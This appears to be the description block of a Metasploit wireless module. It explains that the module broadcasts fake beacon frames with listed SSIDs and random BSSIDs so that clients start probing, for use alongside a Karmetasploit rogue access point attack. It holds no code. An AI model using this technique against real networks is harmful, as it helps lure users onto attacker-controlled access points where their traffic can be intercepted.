|
|
This module sends out beacon frames using SSID's identified in a
|
|
specified file and randomly selected BSSID's. This is useful when
|
|
combined with a Karmetasploit attack to get clients configured to
|
|
not probe for networks in their PNL to start probing when they see a
|
|
matching SSID in from this script. For a list of common SSID's to
|
|
use with this script, check http://www.wigle.net/gps/gps/main/ssidstats.
|
|
If a file of SSID's is not specified, a default list of 20 SSID's will
|
|
be used. This script will run indefinitely until interrupted.
